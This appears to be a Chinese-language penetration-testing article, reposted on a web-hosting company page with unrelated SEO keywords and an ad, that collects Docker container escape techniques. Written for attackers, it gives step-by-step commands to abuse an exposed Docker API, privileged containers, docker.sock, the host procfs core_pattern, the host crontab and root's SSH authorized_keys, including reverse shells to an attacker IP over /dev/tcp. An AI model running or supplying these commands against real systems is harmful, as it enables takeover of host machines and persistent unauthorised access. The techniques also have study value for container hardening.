苏州网站托管wordpress 注册方式
2026/2/14 19:01:03 网站建设 项目流程
苏州网站托管,wordpress 注册方式,用文件传输协议登录网站,wordpress qvanxian当涉及到容器技术和应用程序隔离时#xff0c;Docker是一个被广泛采用的解决方案#xff0c;其使得应用程序的部署变得更加简单高效。然而#xff0c;作为攻击者#xff0c;在实际渗透时#xff0c;好不容易拿到了一个shell#xff0c;但是却发现所处的环境在docker容器里…当涉及到容器技术和应用程序隔离时Docker是一个被广泛采用的解决方案其使得应用程序的部署变得更加简单高效。然而作为攻击者在实际渗透时好不容易拿到了一个shell但是却发现所处的环境在docker容器里面导致很多常见命令无法执行这时还是挺难受的。所以我们对目前网上提到了大部分docker逃逸手法做了汇总复现希望师傅们在阅读后碰到此类情况能顺利拿到宿主机的权限。dockerdocker远程API未授权访问逃逸docker远程api可以执行docker命令若配置错误将其暴露在公网攻击者可通过远程调用 Docker API直接管理容器进而导致逃逸getshell访问2375端口如果出现如下页面即存在docker远程API未授权使用如下命令可远程连接dockersudo docker -H 192.168.111.20:2375 images通过如下命令可以新运行一个容器将服务器的根目录挂载至/host目录sudo docker -H 192.168.111.20:2375 run -it -v /:/host ubuntu:18.04 /bin/bash使用chroot 即可实现逃逸到宿主机chroot /host/特权模式privileged逃逸特权模式逃逸 (Privileged Mode Escape) 是容器安全中最经典、最直接也是危害最大的逃逸方式之一。如果一个容器以--privileged 参数启动它几乎拥有了和宿主机Host一样的权限。攻击者一旦攻入这个容器就可以利用这些特权轻松“越狱”控制整个宿主机。执行如下命令若CapEff值为0000003fffffffff则证明为特权模式启动cat /proc/self/status | grep CapEffCapEff: 0000003fffffffff使用fdisk命令列出系统中所有磁盘设备的分区信息fdisk -l这里可以看到/dev/sda5是容器内挂载的宿主机磁盘在容器内挂载宿主机磁盘mkdir /hostmount /dev/sda5 /host使用chroot /host即可完成逃逸到宿主机chroot /host成功逃逸挂载docker.sock逃逸Docker Socket是Docker守护进程监听的Unix域套接字如果在攻击者可控的容器内挂载了该套接字文件/var/run/docker.sock可通过Docker Socket与Docker守护进程通信发送命令创建并运行一个新的容器将宿主机的根目录挂载到新创建的容器内部实现逃逸。先创建容器并挂载/var/run/docker.sock文件sudo docker -H 192.168.111.20:2375 run -it \ -v /var/run/docker.sock:/var/run/docker.sock \ -v /usr/bin/docker:/usr/bin/docker \ ubuntu:18.04 /bin/bash检查是否存在/var/run/docker.sock文件在容器内部创建一个新的容器并将宿主机目录挂载到新的容器内部docker run -it -v /:/host ubuntu:18.04 /bin/bash使用chroot /host即可完成逃逸到宿主机挂载宿主机procfs逃逸procfs是Linux系统中的伪文件系统用于动态反映系统进程和组件状态。当容器挂载宿主机的procfs时若容器内进程具有足够权限如root权限且未开启user namespace攻击者可利用procfs中的敏感文件进行操作。从Linux 2.6.19内核版本开始若core_pattern文件内容以管道符“|”开头后续内容将被当作用户空间程序或脚本执行。攻击者可通过修改该文件使进程崩溃时触发宿主机执行恶意脚本从而实现逃逸。使用find命令如果存在core_pattern文件则挂载了宿主机的procfsfind / -name core_pattern在容器内查看是否能修改 core_pattern如果显示类似 |/usr/share/apport/apport %p %s %c %d %P %E 则有权限修改具备逃逸条件cat /proc/sys/kernel/core_pattern寻找容器在宿主机上的绝对路径主要看upperdir的值cat /proc/mounts | grep docker得到路径/var/lib/docker/overlay2/d6df2e92d5b1214013dc8758def5dd7becda7b570cf2d79d0562f55368c027c4/diff在容器根目录下创建脚本 /exp.sh内容为反弹 Shellcat EOF /exp.sh #!/bin/bash bash -i /dev/tcp/192.168.111.25/9997 01 EOF赋予执行权限chmod x /exp.sh将宿主机视角下的脚本路径写入echo |/var/lib/docker/overlay2/d6df2e92d5b1214013dc8758def5dd7becda7b570cf2d79d0562f55368c027c4/diff/exp.sh /proc/sys/kernel/core_pattern在攻击机上开启监听触发崩溃sleep 10 kill -SIGSEGV $!成功获取反弹Shell写入Crontab定时任务逃逸启动容器时如果将宿主机的根目录/挂载到容器内部的某个目录。由于 Docker 默认以 Root 权限运行这意味着我们在容器内拥有了对宿主机磁盘文件的全写权限。通过修改宿主机的crontab文件即可实现从容器到宿主机的控制权转移。创建一个特权容器并挂载宿主机根目录sudo docker -H 192.168.111.20:2375 run -it -v /:/host --privileged ubuntu:18.04 /bin/bash容器内直接向宿主机crontab写入反弹shell命令echo * * * * * root bash -i /dev/tcp/192.168.111.25/9998 01 /host/etc/crontab攻击机启动一个监听nc -lvvp 9998成功收到shell写入ssh公钥逃逸这个其实跟前面写入定时任务差不多。通过向宿主机的/root/.ssh/authorized_keys写入攻击者的SSH公钥从而实现免密登录宿主机。攻击机生成公钥ssh-keygen -t rsa -b 4096 -C backdoorattacker.com -f ~/.ssh/docker_escape查看生成的公钥cat ~/.ssh/docker_escape.pub创建.ssh目录mkdir -p /host/root/.ssh设置权限很重要必须设置对权限chmod 700 /host/root/.ssh写入公钥cat /host/root/.ssh/authorized_keys EOFssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAA... backdoorattacker.comEOF设置authorized_keys权限chmod 600 /host/root/.ssh/authorized_keys确保所有者正确chown root:root /host/root/.ssh/authorized_keys接下来就可以SSH直接连接宿主机了ssh root192.168.111.20

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询